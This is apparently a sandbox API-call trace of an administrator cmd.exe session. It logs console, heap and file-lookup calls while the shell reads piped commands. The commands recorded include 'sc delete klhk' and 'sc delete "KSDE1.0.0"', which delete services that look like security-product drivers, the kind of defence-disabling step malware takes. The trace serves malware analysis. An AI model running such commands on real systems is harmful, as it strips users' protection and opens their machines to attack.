SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.075] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.075] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.075] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.075] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.075] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.075] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.075] GetConsoleOutputCP () returned 0x1b5 [0068.075] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.075] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.076] GetProcessHeap () returned 0x1b0000 [0068.076] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.076] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.076] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.076] GetFileType (hFile=0x120) returned 0x3 [0068.077] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.077] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.077] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.077] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.077] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.077] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.077] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.077] GetFileType (hFile=0x120) returned 0x3 [0068.077] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.077] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.077] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.077] GetFileType (hFile=0xb8) returned 0x3 [0068.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.077] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.077] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.077] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.077] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.078] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.078] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.078] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.079] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.079] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.079] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.079] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" klhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="\"lhk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.080] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.080] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.080] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="Khk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="Sk\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="D\nflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="Eflt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="1lt\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.081] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.081] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr=".t\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.081] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.081] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="0\nlt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr=".lt\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e346, cchWideChar=1 | out: lpWideCharStr="0t\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e348, cchWideChar=1 | out: lpWideCharStr="\"\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.082] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.082] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.082] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e34a, cchWideChar=1 | out: lpWideCharStr="\n\n64-9.4\"\n\nA\"\n") returned 1 [0068.082] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.082] GetFileType (hFile=0xb8) returned 0x3 [0068.083] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.083] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.083] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.083] GetFileType (hFile=0x120) returned 0x3 [0068.083] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.083] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete \"KSDE1.0.0\"\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete \"KSDE1.0.0\"\n", lpUsedDefaultChar=0x0) returned 23 [0068.083] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x16, lpOverlapped=0x0) returned 1 [0068.083] GetProcessHeap () returned 0x1b0000 [0068.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.083] GetProcessHeap () returned 0x1b0000 [0068.083] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.083] GetProcessHeap () returned 0x1b0000 [0068.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.083] GetProcessHeap () returned 0x1b0000 [0068.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.083] GetProcessHeap () returned 0x1b0000 [0068.083] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6510 [0068.083] GetConsoleOutputCP () returned 0x1b5 [0068.084] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.084] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.084] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.084] GetProcessHeap () returned 0x1b0000 [0068.084] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.084] GetProcessHeap () returned 0x1b0000 [0068.084] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x3e) returned 0x1caa40 [0068.084] GetProcessHeap () returned 0x1b0000 [0068.084] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0068.084] SetErrorMode (uMode=0x0) returned 0x1 [0068.084] SetErrorMode (uMode=0x1) returned 0x0 [0068.084] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.084] SetErrorMode (uMode=0x1) returned 0x1 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0068.085] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.085] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.085] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.085] GetProcessHeap () returned 0x1b0000 [0068.085] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.085] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.085] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.085] GetLastError () returned 0x2 [0068.086] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.086] GetLastError () returned 0x2 